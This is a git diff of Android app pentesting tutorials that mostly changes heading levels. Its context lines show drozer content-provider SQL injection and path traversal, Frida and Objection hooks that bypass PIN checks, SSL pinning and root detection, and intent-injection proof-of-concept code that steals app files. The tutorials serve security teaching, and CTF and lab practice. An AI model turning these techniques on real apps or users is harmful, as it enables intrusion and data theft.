Delete content +## Delete content ![](<../../../.gitbook/assets/image (191).png>) -#### **SQL Injection** +## **SQL Injection** It is simple to test for SQL injection **(SQLite)** by manipulating the **projection** and **selection fields** that are passed to the content provider.\ When quering the Content Provider there are 2 interesting arguments to search for information: _--selection_ and _--projection_: @@ -174,13 +173,13 @@ Accessible tables for uri content://jakhar.aseem.diva.provider.notesprovider/not sqlite_sequence ``` -### **File System-backed Content Providers** +# **File System-backed Content Providers** Content providers could be also used to **access files:** ![](<../../../.gitbook/assets/image (193).png>) -#### Read **file** +## Read **file** You can read files from the Content Provider @@ -189,7 +188,7 @@ dz> run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc 127.0.0.1 localhost ``` -#### **Path Traversal** +## **Path Traversal** If you can access files, you can try to abuse a Path Traversal (in this case this isn't necessary but you can try to use "_../_" and similar tricks). @@ -208,7 +207,7 @@ Vulnerable Providers: content://com.mwr.example.sieve.FileBackupProvider ``` -### References +# References * [https://www.tutorialspoint.com/android/android\_content\_providers.htm](https://www.tutorialspoint.com/android/android\_content\_providers.htm) * [https://manifestsecurity.com/android-application-security-part-15/](https://manifestsecurity.com/android-application-security-part-15/) diff --git a/mobile-apps-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md b/mobile-apps-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md index 87213583..214bf216 100644 --- a/mobile-apps-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md +++ b/mobile-apps-pentesting/android-app-pentesting/exploiting-a-debuggeable-applciation.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Exploiting a debuggeable applciation - **Information copied from** [**https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications/#article**](https://resources.infosecinstitute.com/android-hacking-security-part-6-exploiting-debuggable-android-applications/#article) To make this article more interesting, I have developed a vulnerable application for demonstration purposes, which has a “**button**” and a “**textview**“. @@ -33,7 +31,7 @@ Figure 1 If we click the button, it says “**Try Again**“. Now, our goal is to change the message “Try Again” to “Hacked” without modifying the application’s source code. To be precise, we have to change it at runtime. -### **Required tools** +## **Required tools** * Emulator * adb – Android Debug Bridge @@ -41,7 +39,7 @@ If we click the button, it says “**Try Again**“. Now, our goal is to change In my case, to make the installations easier, I am using Android Tamer since all the above required tools are pre-installed. -### **Topics Involved** +## **Topics Involved** * Checking for Vulnerability. * Getting Ready with the Setup. @@ -49,7 +47,7 @@ In my case, to make the installations easier, I am using Android Tamer since all Let’s begin the game. -### **Checking for vulnerability** +## **Checking for vulnerability** In fact, this is the easiest part of the entire article. @@ -65,7 +63,7 @@ If you find the above line in the AndroidManifest.xml file, the application is d **Note:** We used APKTOOL to see whether the app is debuggable or not. We won’t touch or modify any piece of code as mentioned earlier. -### **Getting ready with the setup** +## **Getting ready with the setup** In this step, we will set up all the required things to inject code in to the app during its execution. As mentioned in the previous article, we will use remote debugging in this article. @@ -103,7 +101,7 @@ Figure 4 Figure 5 -### **Runtime code injection** +## **Runtime code injection** In this step, we will actually exploit the vulnerable application by modifying its behavior at runtime. diff --git a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/README.md b/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/README.md index e4867cd6..591ef005 100644 --- a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/README.md +++ b/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/README.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Frida Tutorial - -## Installation +# Installation Install **frida tools**: @@ -42,9 +40,9 @@ frida-ps -U #List packages and processes frida-ps -U | grep -i #Get all the package name ``` -## Tutorials +# Tutorials -### [Tutorial 1](frida-tutorial-1.md) +## [Tutorial 1](frida-tutorial-1.md) **From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ @@ -52,14 +50,14 @@ frida-ps -U | grep -i #Get all the package name Follow the [link to read it](frida-tutorial-1.md). -### [Tutorial 2](frida-tutorial-2.md) +## [Tutorial 2](frida-tutorial-2.md) **From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) (Parts 2, 3 & 4)\ **APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) Follow the[ link to read it.](frida-tutorial-2.md) -### [Tutorial 3](owaspuncrackable-1.md) +## [Tutorial 3](owaspuncrackable-1.md) **From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk) @@ -67,11 +65,11 @@ Follow the[ link to read it.](frida-tutorial-2.md) Follow the [link to read it](owaspuncrackable-1.md).\ **You can find some Awesome Frida scripts here:** [**https://codeshare.frida.re/**](https://codeshare.frida.re) -## Fast Examples +# Fast Examples Here you can find the more basic and interesting functionalities of Frida to make a quick script: -### Calling Frida from command line +## Calling Frida from command line ```bash frida-ps -U @@ -86,7 +84,7 @@ frida -U --no-pause -l disableRoot.js -f owasp.mstg.uncrackable1 #continue execution with our modified code. ``` -### Basic Python Script +## Basic Python Script ```python import frida, sys @@ -99,7 +97,7 @@ script.load() sys.stdin.read() ``` -### Hooking functions without parameters +## Hooking functions without parameters Hook the function `a()` of the class `sg.vantagepoint.a.c` @@ -146,7 +144,7 @@ Hook android `.onCreate()` }; ``` -### Hooking functions with parameters and retrieving the value +## Hooking functions with parameters and retrieving the value Hooking a decryption function. Print the input, call the original function decrypt the input and finally, print the plain data: @@ -175,7 +173,7 @@ Hooking a decryption function. Print the input, call the original function decry }; ``` -### Hooking functions and calling them with our input +## Hooking functions and calling them with our input Hook a function that receives a string and call it with other string (from [here](https://11x256.github.io/Frida-hooking-android-part-2/)) @@ -191,7 +189,7 @@ my_class.fun.overload("java.lang.String").implementation = function(x){ //hookin }; ``` -### Getting an already created object of a class +## Getting an already created object of a class If you want to extract some attribute of a created object you can use this. diff --git a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md b/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md index e726bb99..3b9e57bc 100644 --- a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md +++ b/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-1.md @@ -17,13 +17,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Frida Tutorial 1 - **From**: [https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1](https://medium.com/infosec-adventures/introduction-to-frida-5a3f51595ca1)\ **APK**: [https://github.com/t0thkr1s/frida-demo/releases](https://github.com/t0thkr1s/frida-demo/releases)\ **Source Code**: [https://github.com/t0thkr1s/frida-demo](https://github.com/t0thkr1s/frida-demo) -## Python +# Python Frida allows you to **insert JavaScript code** inside functions of a running application. But you can use **python** to **call** the hooks and even to **interact** with the **hooks**. @@ -54,7 +52,7 @@ It is useful to know how to use python with frida, but for this examples you cou frida -U --no-pause -l hookN.js -f infosecadventures.fridademo ``` -## Hook 1 - Boolean Bypass +# Hook 1 - Boolean Bypass Here you can see how to **hook** a **boolean** method (_checkPin_) from the class: _infosecadventures.fridademo.utils.PinUtil_ @@ -76,9 +74,9 @@ python hooking.py hook1.js Mirar: La funcion recibe como parametro un String, no hace falta overload? -## Hook 2 - Function Bruteforce +# Hook 2 - Function Bruteforce -### Non-Static Function +## Non-Static Function If you want to call a non-static function of a class, you **first need a instance** of that class. Then, you can use that instance to call the function.\ To do so, you could **find and existing instance** and use it: @@ -103,7 +101,7 @@ Java.perform(function() { In this case this is not working as there isn't any instance and the function is Static -### Static Function +## Static Function If the function is static, you could just call it: @@ -122,7 +120,7 @@ Java.perform(function () { }); ``` -## Hook 3 - Retrieving arguments and return value +# Hook 3 - Retrieving arguments and return value You could hook a function and make it **print** the value of the **passed arguments** and the value of the **return value:** @@ -142,7 +140,7 @@ Java.perform(function() { }); ``` -## Important +# Important In this tutorial you have hooked methods using the name of the mathod and _.implementation_. But if there were **more than one method** with the same name, you will need to **specify the method** that you want to hook **indicating the type of the arguments**. diff --git a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md b/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md index e3617898..5394c036 100644 --- a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md +++ b/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/frida-tutorial-2.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Frida Tutorial 2 - **From**: [https://11x256.github.io/Frida-hooking-android-part-2/](https://11x256.github.io/Frida-hooking-android-part-2/) \(Parts 2, 3 & 4\) **APKs and Source code**: [https://github.com/11x256/frida-android-examples](https://github.com/11x256/frida-android-examples) @@ -26,7 +24,7 @@ The part 1 is so easy. **Some parts of the original code doesn't work and have been modified here.** -## Part 2 +# Part 2 Here you can see an example of how to **hook 2 functions with the same name** but different parameters. Also, you are going to learn how to **call a function with your own parameters**. @@ -69,7 +67,7 @@ Java.perform(function x() { You can see that to create a String first is has referenced the class _java.lang.String_ and then it has created a _$new_ object of that class with a String as content. This is the correct way to create a new object of a class. But, in this case, you could just pass to `this.fun()` any String like: `this.fun("hey there!")` -### Python +## Python ```python //loader.py @@ -92,9 +90,9 @@ raw_input() python loader.py ``` -## Part 3 +# Part 3 -### Python +## Python Now you are going to see how to send commands to the hooked app via Python to call function: @@ -133,7 +131,7 @@ The command "**1**" will **exit**, the command "**2**" will find and **instance The, if you call "**2**" you will get the **real secret**, but if you call "**3**" and then "**2**" you will get the **fake secret**. -### JS +## JS ```javascript console.log("Script loaded successfully "); @@ -174,11 +172,11 @@ rpc.exports = { }; ``` -## Part 4 +# Part 4 Here you will see how to make **Python and JS interact** using JSONs objects. JS use the `send()` function to send data to the python cliente, and Python uses `post()` functions to send data to ths JS script. The **JS will block the execution** until is receives s response from Python. -### Python +## Python ```python //loader.py @@ -212,7 +210,7 @@ script.load() raw_input() ``` -### JS +## JS ```javascript console.log("Script loaded successfully "); diff --git a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md b/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md index d95d7807..9e9fe788 100644 --- a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md +++ b/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md @@ -17,9 +17,7 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Objection Tutorial - -## **Introduction** +# **Introduction** [![objection](https://github.com/sensepost/objection/raw/master/images/objection.png)](https://github.com/sensepost/objection) @@ -29,11 +27,11 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) **Note:** This is not some form of jailbreak / root bypass. By using `objection`, you are still limited by all of the restrictions imposed by the applicable sandbox you are facing. -### Resume +## Resume The **goal** of **objection** is let the user call the **main actions that offers Frida**. **Otherwise**, the user will need to create a **single script for every application** that he wants to test. -## Tutorial +# Tutorial For this tutorial I am going to use the APK that you can download here: @@ -41,13 +39,13 @@ For this tutorial I am going to use the APK that you can download here: Or from its [original repository ](https://github.com/asvid/FridaApp)(download app-release.apk) -### Installation +## Installation ``` pip3 install objection ``` -### Connection +## Connection Make a **regular ADB conection** and **start** the **frida** server in the device (and check that frida is working in both the client and the server). @@ -57,11 +55,11 @@ If you are using a **rooted device** it is needed to select the application that objection --gadget asvid.github.io.fridaapp explore ``` -### Basic Actions +## Basic Actions Not all possible commands of objections are going to be listed in this tutorial, only the ones that I have found more useful. -#### Environment +### Environment Some interesting information (like passwords or paths) could be find inside the environment. @@ -71,7 +69,7 @@ env ![](<../../../.gitbook/assets/image (64).png>) -#### Frida Information +### Frida Information ``` frida @@ -79,52 +77,52 @@ frida ![](<../../../.gitbook/assets/image (65).png>) -#### Upload/Download +### Upload/Download ```bash file download [] file upload [] ``` -#### Import frida script +### Import frida script ```bash import ``` -#### SSLPinning +### SSLPinning ```bash android sslpinning disable #Attempts to disable SSL Pinning on Android devices. ``` -#### Root detection +### Root detection ```bash android root disable #Attempts to disable root detection on Android devices. android root simulate #Attempts to simulate a rooted Android environment. ``` -#### Exec Command +### Exec Command ```bash android shell_exec whoami ``` -#### Screenshots +### Screenshots ```bash android ui screenshot /tmp/screenshot android ui FLAG_SECURE false #This may enable you to take screenshots using the hardware keys ``` -### Static analysis made Dynamic +## Static analysis made Dynamic In a real application we should know all of the information discovered in this part before using objection thanks to **static analysis**. Anyway, this way maybe you can see **something new** as here you will only have a complete list of classes, methods and exported objects. This is also usefull if somehow you are **unable to get some readable source code** of the app. -#### List activities, receivers and services +### List activities, receivers and services ``` android hooking list activities @@ -139,7 +137,7 @@ android hooking list receivers Frida will launch an error if none is found -#### Getting current activity +### Getting current activity ``` android hooking get current_activity @@ -147,7 +145,7 @@ android hooking get current_activity ![](<../../../.gitbook/assets/image (73).png>) -#### Search Classes +### Search Classes Lets start looking for classes inside our application @@ -157,7 +155,7 @@ android hooking search classes asvid.github.io.fridaapp ![](<../../../.gitbook/assets/image (69).png>) -#### Search Methods of a class +### Search Methods of a class Now lets extract the methods inside the class _MainActivity:_ @@ -167,7 +165,7 @@ android hooking search methods asvid.github.io.fridaapp MainActivity ![](<../../../.gitbook/assets/image (70).png>) -#### List declared Methods of a class with their parameters +### List declared Methods of a class with their parameters Lets figure out wich parameters does the methods of the class need: @@ -177,7 +175,7 @@ android hooking list class_methods asvid.github.io.fridaapp.MainActivity ![](<../../../.gitbook/assets/image (79).png>) -#### List classes +### List classes You could also list all the classes that were loaded inside the current applicatoin: @@ -187,9 +185,9 @@ android hooking list classes #List all loaded classes, As the target application This is very useful if you want to **hook the method of a class and you only know the name of the class**. You coul use this function to **search which module owns the class** and then hook its method. -### Hooking being easy +## Hooking being easy -#### Hooking (watching) a method +### Hooking (watching) a method From the [source code](https://github.com/asvid/FridaApp/blob/master/app/src/main/java/asvid/github/io/fridaapp/MainActivity.kt) of the application we know that the **function** _**sum()**_ **from** _**MainActivity**_ is being run **every second**. Lets try to **dump all possible information** each time the function is called (arguments, return value and backtrace): @@ -199,7 +197,7 @@ android hooking watch class_method asvid.github.io.fridaapp.MainActivity.sum --d ![](<../../../.gitbook/assets/image (71).png>) -#### Hooking (watching) an entire class +### Hooking (watching) an entire class Actually I find all the methods of the class MainActivity really interesting, lets **hook them all**. Be careful, this could **crash** an application. @@ -211,7 +209,7 @@ If you play with the application while the class is hooked you will see when **e ![](<../../../.gitbook/assets/image (72).png>) -#### Changing boolean return value of a function +### Changing boolean return value of a function From the source code you can see that the function _checkPin_ gets a _String_ as argument and returns a _boolean_. Lets make the function **always return true**: @@ -221,7 +219,7 @@ Now, If you write anything in the text box for the PIN code you will see tat any ![](<../../../.gitbook/assets/image (77).png>) -### Class instances +## Class instances Search for and print **live instances of a specific Java class**, specified by a fully qualified class name. Out is the result of an attempt at getting a string value for a discovered objection which would typically **contain property values for the object**. @@ -231,7 +229,7 @@ android heap print_instances ![](<../../../.gitbook/assets/image (80).png>) -### Keystore/Intents +## Keystore/Intents You can play with the keystore and intents using: @@ -241,16 +239,16 @@ android intents launch_activity android intent launch_service ``` -### Memory +## Memory -#### Dump +### Dump ```bash memory dump all #Dump all memory memory dump from_base #Dump a part ``` -#### List +### List ``` memory list modules @@ -266,7 +264,7 @@ Lets checks what is frida exporting: ![](<../../../.gitbook/assets/image (68).png>) -#### Search/Write +### Search/Write You can alse search and write inside memory with objection: @@ -275,17 +273,17 @@ memory search "" (--string) (--offsets-only) memory write "
" "" (--string) ``` -### SQLite +## SQLite You cals can use the command `sqlite` to interact with sqlite databases. -### Exit +## Exit ``` exit ``` -## What I miss in Objection +# What I miss in Objection * The hooking methods sometimes crashes the application (this is also because of Frida). * You can't use the instaces of the classes to call functions of the instance. And you can't create new instances of classes and use them to call functions. diff --git a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md b/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md index 76b8d230..cb30fb7d 100644 --- a/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md +++ b/mobile-apps-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md @@ -17,12 +17,10 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Frida Tutorial 3 - **From**: [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1)\ **APK**: [https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk](https://github.com/OWASP/owasp-mstg/blob/master/Crackmes/Android/Level\_01/UnCrackable-Level1.apk) -## Solution 1 +# Solution 1 Based in [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) @@ -65,7 +63,7 @@ Java.perform(function () { }); ``` -## Solution 2 +# Solution 2 Based in [https://joshspicer.com/android-frida-1](https://joshspicer.com/android-frida-1) diff --git a/mobile-apps-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md b/mobile-apps-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md index 9884d005..29bdb48e 100644 --- a/mobile-apps-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md +++ b/mobile-apps-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Google CTF 2018 - Shall We Play a Game? - Download the APK here: I am going to upload the APK to [https://appetize.io/](https://appetize.io) (free account) to see how the apk is behaving: @@ -35,9 +33,9 @@ Reading the java code: It looks like the function that is going print the flag is **m().** -## **Smali changes** +# **Smali changes** -### **Call m() the first time** +## **Call m() the first time** Lets make the application call m() if the variable _this.o != 1000000_ to do so, just cange the condition: @@ -77,7 +75,7 @@ A forth way is to add an instruction to move to value of v9(1000000) to v0 _(thi ![](<../../.gitbook/assets/image (52).png>) -## Solution +# Solution Make the application run the loop 100000 times when you win the first time. To do so, you only need to create the **:goto\_6** loop and make the application **junp there if **_**this.o**_** does not value 100000**: diff --git a/mobile-apps-pentesting/android-app-pentesting/inspeckage-tutorial.md b/mobile-apps-pentesting/android-app-pentesting/inspeckage-tutorial.md index d935210a..00401fd5 100644 --- a/mobile-apps-pentesting/android-app-pentesting/inspeckage-tutorial.md +++ b/mobile-apps-pentesting/android-app-pentesting/inspeckage-tutorial.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Inspeckage Tutorial - **Tutorial copied from** [**https://infosecwriteups.com/genymotion-xposed-inspeckage-89f0c8decba7**](https://infosecwriteups.com/genymotion-xposed-inspeckage-89f0c8decba7) -### Install Xposed Framework +## Install Xposed Framework 1. Download Xposed Installer APK from [here](https://forum.xda-developers.com/attachments/xposedinstaller\_3-1-5-apk.4393082/) 2. Download Xposed Framework zip from [here](https://dl-xda.xposed.info/framework/sdk25/x86/xposed-v89-sdk25-x86.zip) @@ -55,7 +53,7 @@ After installing, Go to Xposed Installer → Modules→ Activate the Module → ![](https://miro.medium.com/max/623/1\*7sO6IX46hciTBUtWoyLEFQ.png) -### Dynamic Analysis with Inspeckage +## Dynamic Analysis with Inspeckage After, Successful installing of Inspeckage and Xposed Installer. Now we can hook any application with Inspeackage. To do this follow the below steps diff --git a/mobile-apps-pentesting/android-app-pentesting/intent-injection.md b/mobile-apps-pentesting/android-app-pentesting/intent-injection.md index eda79c93..48e37bbd 100644 --- a/mobile-apps-pentesting/android-app-pentesting/intent-injection.md +++ b/mobile-apps-pentesting/android-app-pentesting/intent-injection.md @@ -17,11 +17,9 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Intent Injection - **Research taken from** [**https://blog.oversecured.com/Android-Access-to-app-protected-components/**](https://blog.oversecured.com/Android-Access-to-app-protected-components/) -## Introduction +# Introduction This vulnerability resembles **Open Redirect in web security**. Since class `Intent` is `Parcelable`, **objects belonging to this class** can be **passed** as **extra** **data** in another `Intent` object. \ Many developers make **use** of this **feature** and create **proxy** **components** (activities, broadcast receivers and services) that **take an embedded Intent and pass it to dangerous methods** like `startActivity(...)`, `sendBroadcast(...)`, etc. \ @@ -31,7 +29,7 @@ This is dangerous because **an attacker can force the app to launch a non-export As summary: If an attacker can send an Intent that is being insecurely executed he can potentially access not exported components and abuse them. {% endhint %} -## A typical case +# A typical case Let us examine an example. Fragment of the `AndroidManifest.xml` file @@ -80,11 +78,11 @@ startActivity(intent); and no security violation will arise, because t**he app that is under attack does have access to all its own components**. Using this code fragment, the attacker can bypass the Android system’s built-in restrictions. -## Escalation of Impact +# Escalation of Impact In order to escalate the impact of this vulnerability you need to **find other vulns/missconfigurations that could allow to increate the impact of the vulnerability** (as the vulnerability by it's own isn't creating any risks). -### Escalation of attacks via Content Providers +## Escalation of attacks via Content Providers Besides access to arbitrary components of the original app, the **attacker can attempt to gain access to those of the vulnerable app’s Content Providers** that satisfy the following conditions: @@ -136,7 +134,7 @@ Uri uri = Uri.parse(getIntent().getDataString() + "image/1")); // content://com. Bitmap bitmap = BitmapFactory.decodeStream(getContentResolver().openInputStream(uri)); // stolen image ``` -### Attacks on Android File Provider +## Attacks on Android File Provider This vulnerability also makes it possible for the attacker to **steal app files** located in directories that the developer predetermined. For a successful attack, the malign app needs to **obtain access rights to Android File Provider and then read content from the file provider using Android ContentResolver**. @@ -186,7 +184,7 @@ startActivity(intent); InputStream i = getContentResolver().openInputStream(getIntent().getData()); // we can now do whatever we like with this stream, e.g. send it to a remote server ``` -### Access to arbitrary components via WebView +## Access to arbitrary components via WebView An Intent object can be cast to a string with a call to `Intent.toUri(flags)` and back from a string to an Intent using `Intent.parseUri(stringUri, flags)`. This functionality is often used in WebView (the app’s built-in browser): the **app can verify an `intent://` scheme, parse the URL into an Intent and launch the activity**. @@ -278,7 +276,7 @@ webView.loadUrl(getIntent().getData().getQueryParameter("url"), getAuthHeaders() We therefore recommend checking that an activity is exported before it is launched. -### Other ways of creating insecure intents +## Other ways of creating insecure intents Some app developers implement their **own intent parsers** (often to handle **deeplinks** or push messages), using e.g. **JSON** objects, strings or byte arrays, which either do not differ from the default or else present a great danger, because they may expand **`Serializable`** and `Parcelable` objects and they also allow insecure flags to be set. The security researcher may also encounter more exotic versions of intent creation, such as casting a byte array to a `Parcel` and then reading an intent from it @@ -292,7 +290,7 @@ if(deeplinkUri.toString().startsWith("deeplink://handle/")) { } ``` -## Vuln app +# Vuln app {% embed url="https://github.com/oversecured/ovaa" %} diff --git a/mobile-apps-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md b/mobile-apps-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md index 858ef462..71ca881a 100644 --- a/mobile-apps-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md +++ b/mobile-apps-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md @@ -17,15 +17,13 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Make APK Accept CA Certificate - Some applications don't like user downloaded certificates, so in order to inspect web traffic for some apps we actually have to decompile the application & add a few things & recompile it. -## Automatic +# Automatic The tool [**https://github.com/shroudedcode/apk-mitm**](https://github.com/shroudedcode/apk-mitm) will **automatically** make the necessary changes to the application to start capturing the requests and will also disable certificate pinning (if any). -## Manual +# Manual First we decompile the app: `apktool d *file-name*.apk` diff --git a/mobile-apps-pentesting/android-app-pentesting/manual-deobfuscation.md b/mobile-apps-pentesting/android-app-pentesting/manual-deobfuscation.md index e9d2f0d8..036dc1b7 100644 --- a/mobile-apps-pentesting/android-app-pentesting/manual-deobfuscation.md +++ b/mobile-apps-pentesting/android-app-pentesting/manual-deobfuscation.md @@ -17,8 +17,6 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Manual DeObfuscation - **Copied from **[**https://maddiestone.github.io/AndroidAppRE/obfuscation.html**](https://maddiestone.github.io/AndroidAppRE/obfuscation.html)** (you can find solutions there)** ![Logo](https://maddiestone.github.io/AndroidAppRE/images/pinkandroid.png) @@ -29,7 +27,7 @@ The key about obfuscation to remember is that if you want to de-obfuscate it, yo The reason that you can always de-obfuscate something is because ultimately the CPU at some point has to see the unobfuscated code in order to run it. -### How to De-Obfuscate +## How to De-Obfuscate How you choose to de-obfuscate the application will depend on the obfuscation method, but there are a couple of common techniques that usually work well. Here, we will only touch on the static de-obfuscation techniques since this workshop only covers static analysis/reversing. However, do remember that running the application and dynamically analyzing it can be another great way to get around obfuscation. @@ -37,7 +35,7 @@ For obfuscation in the DEX bytecode (Java), one of the easiest ways to staticall Another solution for both Java and Native Code is to transliterate the de-obfuscation algorithm into Python or any other scripting language that you’re most comfortable. I say “transliterate” because it’s important to remember that you don’t always need to \*understand\* the de-obfuscation algorithm, you just need a way to execute it. I cover this in more detail in the “Unpacking the Packed Unpacker” talk that is linked in the “More Examples” section. -### Indicators of Obfuscation +## Indicators of Obfuscation There are many different types of obfuscation and thus, just as many different types of indicators to alert you as the analyst that an application is likely obfuscated, but here are a few examples with proposed static analysis solutions for deobfuscating. @@ -50,26 +48,26 @@ There are many different types of obfuscation and thus, just as many different t * Native libraries - Can’t identify the JNI functions (no funcs named Java\_ and no calls to RegisterNatives): In order to execute any native methods, JNI has to be able to pair the function in the native library with the native method declaration in Java and thus one of the two must exist at some point. * Suggested Solution: Start at JNI_OnLoad method and look for a de-obfuscation routine that loads additional code. -### Exercise 7 - String Deobfuscation +## Exercise 7 - String Deobfuscation In this exercise, we will practice de-obfuscating strings in order to analyze an application. For the exercise we will use the sample at `~/samples/ClashOfLights.apk` in the VM. This sample has the SHA256 digest c403d2dcee37f80b6d51ebada18c409a9eae45416fe84cd0c1ea1d9897eae4e5. -#### Goals +### Goals To identify obfuscated strings and develop a solution to deobfuscate it. -#### Exercise Context +### Exercise Context You are a malware analyst reviewing this application to determine if it’s malware. You come across an obfuscated Javascript string that is being loaded and need to deobfuscate it to determine whether or not the application is malicious. You can’t run the application dynamically and need to determine what the Javascript is statically. -#### Instructions +### Instructions 1. Find the string that you need to de-obfuscate 2. Identify the routine that de-obfuscates it. 3. Determine how you want to write a solution to de-obfuscate the string. 4. Do it :) -#### Solution +### Solution The deobfuscated string is: @@ -101,7 +99,7 @@ while (count < length): print ''.join(dec_str) ``` -### More Examples +## More Examples I have done a few talks on de-obfuscating Android apps that include a variety of obfuscation mechanisms. In these talks, I discuss the advanced obfuscation techniques, my solution to de-obfuscate them, and the considerations and choices I made when deciding how I wanted to deobfuscate. diff --git a/mobile-apps-pentesting/android-app-pentesting/react-native-application.md b/mobile-apps-pentesting/android-app-pentesting/react-native-application.md index 9283c1bd..c2bded4a 100644 --- a/mobile-apps-pentesting/android-app-pentesting/react-native-application.md +++ b/mobile-apps-pentesting/android-app-pentesting/react-native-application.md @@ -17,14 +17,12 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# React Native Application - **Information copied from** [**https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7**](https://medium.com/bugbountywriteup/lets-know-how-i-have-explored-the-buried-secrets-in-react-native-application-6236728198f7) React Native is a **mobile application framework** that is most commonly used to develop applications for **Android** and **iOS** by enabling the use of React and native platform capabilities. These days, it’s become increasingly popular to use React across platforms.\ But most of the time, the core logic of the application lies in the React Native **JavaScript that can be obtained** without needing to use dex2jar. -### **Step-1**: Let’s confirm whether the application was built on React Native framework. +## **Step-1**: Let’s confirm whether the application was built on React Native framework. To check this, rename the APK with zip extension and then extract the APK to a new folder using the following command @@ -41,7 +39,7 @@ find . -print | grep -i ".bundle$" ![Image for post](https://miro.medium.com/max/1559/1\*enjF2H7PclRAIcNCxDIOJw.png) -### **Step-2**: Creating a file named `index.html` in the same directory with the following code in it. +## **Step-2**: Creating a file named `index.html` in the same directory with the following code in it. You can upload the file to [https://spaceraccoon.github.io/webpack-exploder/](https://spaceraccoon.github.io/webpack-exploder/) or proceed with the following steps: @@ -55,7 +53,7 @@ Open the **index.html** file in **Google Chrome**. Open up the Developer Toolbar > If you are able to find a file called `index.android.bundle.map`, you will be able to analyze the source code in an unminified format. `map` files contain the source mapping that allows you to map minified identifiers. -### **Step-3**: search for sensitive credentials and endpoints +## **Step-3**: search for sensitive credentials and endpoints In this phase, you have to identify the **sensitive keywords** to analyze the **Javascript** code. A pattern that is popular with React Native applications, is the use of a third party services like such as Firebase, AWS s3 service endpoints, private keys etc., diff --git a/mobile-apps-pentesting/android-app-pentesting/reversing-native-libraries.md b/mobile-apps-pentesting/android-app-pentesting/reversing-native-libraries.md index 794f50af..f7477939 100644 --- a/mobile-apps-pentesting/android-app-pentesting/reversing-native-libraries.md +++ b/mobile-apps-pentesting/android-app-pentesting/reversing-native-libraries.md @@ -17,23 +17,21 @@ Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -# Reversing Native Libraries - **Information copied from **[**https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html**](https://maddiestone.github.io/AndroidAppRE/reversing_native_libs.html)** (you can find solutions there)** Android applications can contain compiled, native libraries. Native libraries are code that the developer wrote and then compiled for a specific computer architecture. Most often, this means code that is written in C or C++. The benign, or legitimate, reasons a developer may do this is for mathematically 